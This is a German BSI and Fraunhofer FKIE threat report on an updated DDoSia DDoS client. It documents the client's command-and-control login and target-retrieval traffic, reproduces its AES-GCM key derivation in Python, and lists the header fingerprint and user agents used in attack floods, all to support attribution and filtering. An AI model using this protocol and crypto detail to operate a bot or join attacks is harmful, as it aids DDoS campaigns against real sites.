Bundesamt
für Sicherheit in der
Informationstechnik

TLP: GREEN

Fraunhofer
FKIE

ReSponS: Updated DDoSia Attack Behavior

21.11.2023

Bundesamt
für Sicherheit in der
Informationstechnik

Fraunhofer
FKIE

Content:

Introduction

In autumn 2023, NoName(057)16 released a new version of the DDoSia client executable. Besides the fact that the new sample uses a different IP address (94[.]140.115.89), it uses significantly different procedures for login and obtaining current attack targets. In order to maintain the ability to retrieve the attack targets of DDoSia from the C2 server, a reanalysis was conducted. Furthermore, the observed attack patterns increase the chance of attributing DDoSia attacks.

Analysis Setup

Just like in the previous analysis, we used a Windows 10 setup together with the Flare Software Collection to perform our analysis. The DDoSia sample we used (first submitted to VirusTotal on 11.11.2023) is linked at [1]. Once again, the hard-coded IP address was patched to 127.0.0.1 for this analysis, forcing the sample to communicate with a locally running fake C2 server. For this purpose, a Python server was implemented using the http.server library. Since the structure of the server is very similar to the one in the previous analysis, it will not be further explained here. Some components that have changed will be implicitly addressed in the results section.

Analysis Results

Login Procedure

The following code block shows the recording of the login process. First, it is evident that realistic user agents are now being used. We will address this fact again later in the attack behavior. Second, the cookie header stands out. It contains the User Hash (U=...) and a newly introduced Client ID (C=...). This Client ID is a UUID4 number generated by the bot. Additionally, the process number of the executed binary is appended at the end.

```
POST /client/login HTTP/1.1
Host: 94.140.115.89
User-Agent: Mozilla/5.0 (Linux; Android 13; SM-F711U) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/114.0.0.0 Mobile Safari/537.36 EdgA/114.0.1823.43
Accept: text/html,application/xhtml+xml,application/xml,
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.5
Content-Type: application/json
Cookie: U=$2a$16$**********************************************************; C=066a9c4f-9d56-47a3-8e6f-
acd0baea175f-2228
Content-Length: 536

{"body": "+9koIac+RKUQPag0Rb/G9zDTXXAr438o/bvQ+xR ... rTPjgb"}

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Wed, 15 Nov 2023 13:46:25 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 19
Connection: keep-alive
Vary: Origin
Access-Control-Allow-Origin: *

1700055985689937662
```

Code Block 1 Login Communication

In the body of the request, an encrypted and Base64 encoded string is sent. The encryption process is similar to the one of the old DDoSia version, but the key is generated differently. It is now composed of the User Hash, the Client ID, and an appended "0". The last 32 bytes of the result are used. The following code block demonstrates the complete encryption algorithm.

```python
import base64
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes

def encrypt_dict(data: str):
    iv = get_random_bytes(12)
    key = bytes(USER_HASH[:5] + CLIENT[5:] + "0", "utf-8")[-32:]

    cipher = AES.new(key, AES.MODE_GCM, nonce=iv, mac_len=16)
    ciphertext, tag = cipher.encrypt_and_digest(data)
    data_string = base64.b64encode(iv + ciphertext + tag)
    return data_string
```

Code Block 2 Encryption and decryption algorithm

The body of the login request contains information about the client's operating system. Accordingly, during the dynamic analysis of the Windows version, numerous accesses to the Windows registry were observed while the client was executed. The decrypted content is shown below. The C2 server responds to this login request with status code 200 and sends, as in the

old version, a token consisting of a UNIX timestamp. However, this token does not appear to be used further.

```
{
   "key":"EdNZfJcUGV2Zg4oy",
   "user":USER_HASH[-27:],
   "client":CLIENT,
   "inf":{
      "SystemUserName":"DESKTOP-QOG274I",
      "OS":"windows",
      "KernelVersion":"10.0.19057.2965 Build 19057.2965",
      "KernelArch":"x86_64",
      "PlatformFamily":"Standalone Workstation",
      "CPUCores":1,
      "RegisterTime":"2023-11-14T15:17:43.5646134+01:00",
      "TimeZone":"CET"
   }
}
```

Code Block 3 Sent host information

Targets Request

The request to receive new attack targets has also changed in the new DDoSia version. As demonstrated in the following capture of the traffic, in addition to the parameters sent during login, a Base32-encoded byte sequence (K=...) is sent within the Cookie header. However, it appears to be simply a randomly generated sequence of 256 bytes that has been Base32 encoded. We could not identify any utility for this sequence during our analysis. In response to this request, the C2 server provides the encrypted attack targets. They are encrypted in the same manner as the data during login. The algorithm described above simply needs to be applied in reverse here. The decrypted target data apparently does not differ from those of the earlier DDoSia versions.

```
GET /client/get_targets HTTP/1.1
Host: 94.140.115.89
User-Agent: Mozilla/5.0 (Linux; Android 13; SM-F711U) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/114.0.0.0 Mobile Safari/537.36 EdgA/114.0.1823.43
Accept: text/html,application/xhtml+xml,application/xml,
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.5
Content-Type: application/json
Cookie: U=$2a$16$**********************************************************; C=066a9c4f-9d56-47a3-8e6f-
acd0baea175f-2228; K=X7QOHWMUIXERA7M ... ANPU7Q======

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 16 Nov 2023 10:01:57 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 143267
Connection: keep-alive
Vary: Origin
Access-Control-Allow-Origin: *

{"data":"HfLijLYpBOlgPNGK8Cs729MzEv ... 3gXUMk2w="}
```

Code Block 4 Login Communication

DDoS Attacks

The requests sent to the attack targets have changed significantly in the new DDoSia version. While previously the same User-Agent ("Go-http-client/1.1") was used in every attack request, now a random selection of fake User-Agents is utilized. Furthermore, the "Accept Encoding" header has been replaced with "gzip, deflate, br", and three new headers have been added: "Accept" ("text/html,application/xhtml+xml,application/xml,"), "Accept-Language" ("en-US,en;q=0.5") and "Content-Type" ("application/json"). In particular, the comma at the end of the Accept header value stands out, since it is likely to be quite specific.

```
GET /attackFEJVUXWIANOD HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/118.0.0.0 Safari/537.36 Edg/118.0.2088.76 GLS/97.10.7399.100
Accept: text/html,application/xhtml+xml,application/xml,
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.5
Content-Type: application/json
Connection: close
```

Code Block 5 Login Communication

All these values are hard-coded in the executable, indicating that they are sent independently of the executing host. The larger amount of fixed values results in a more specific profile for the attack data, making successful attributing or blocking through corresponding rule sets appear

more promising compared to the old DDoSia versions. Only the User-Agents are randomly selected from the following list:

- Mozilla/5.0 (iPhone; CPU iPhone OS 15_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/19
- Mozilla/5.0 (iPhone; CPU iPhone OS 16_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15
- Mozilla/5.0 (Linux; Android 11; SM-A115M Build/RP1A.200720.012; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/102.0.5005.125 Mobile Safari/537.36 Instagram 306.0.0.35.109
- Mozilla/5.0 (Linux; Android 13; SAMSUNG SM-T220) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/23.0 Chrome/115.0.0.0 Mobile Safari/537.36
- Mozilla/5.0 (Linux; Android 13; SM-F711U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36 EdgA/114.0.1823.43
- Mozilla/5.0 (Linux; Android 6.0.1; SM-G532MT Build/MMB29T; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/99.0.4844.88 Mobile Safari/537.36
- Mozilla/5.0 (Linux; Android 9) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/119.0.6045.66 Mobile DuckDuckGo/1 Lilo/1.2.3 Safari/537.36
- Mozilla/5.0 (Macintosh; U; PPC; en-US; rv:0.9.3) Gecko/20010802
- Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.6) Gecko/20050319
- Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36 Edg/118.0.2088.76 GLS/97.10.7399.100
- Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/102.0.5143.178 Chrome/102.0.5143.178 Safari/537.36
- Mozilla/5.0 (X11; Linux x86_64; SMARTEMB Build/3.12.9076) AppleWebKit/537.36 (KHTML, like Gecko) Chromium/103.0.5060.129 Chrome/103.0.5060.129 Safari/537.36668647976601306097149819007990813932172694353001433054093944634591855431833976560521225596406614545549772963113914808580371219879997166438125740282911150571516864797660130609714981900799081393217269435300143305409394463459185543183397655394245057746333217197532963996371363321113864768612440380340372808892707005449
- Mozilla/5.0 (X11; U; Linux i586; en-US; rv:1.0.0) Gecko/20020623 Debian/1.0.0
- Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20021208 Debian/1.2.1
- Mozilla/5.0 (X11; U; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/115.0.5738.217 Chrome/115.0.5738.217 Safari/537.36

Conclusion

As our analysis shows, the current version of DDoSia significantly differs in its communication behavior with the C2 server. During login, more information about the executing user's system is transmitted. In addition to the User Hash, there is now a Client ID that allows for unique identification of the user and also includes the process ID of the running process. This enables

the operators to identify the systems being used and differentiate between individual attack sessions. Furthermore, the key for encrypting the transmitted data is now generated differently than before.

In addition to the communication with the C2 server, the communication with the attack targets has also changed. Now, more (hard-coded) values are transmitted in the header fields. This increases the chances of attributing or even blocking DDoSia attacks with targeted filter rules. However, the user agents are randomly selected from a predetermined set, and thus appropriate rules will be more complex.

References

[1]:
https://www.virustotal.com/gui/file/b215fc04e00780af1d5530efc441c734258b16fd9fc4610a4f0794dd523ba9ee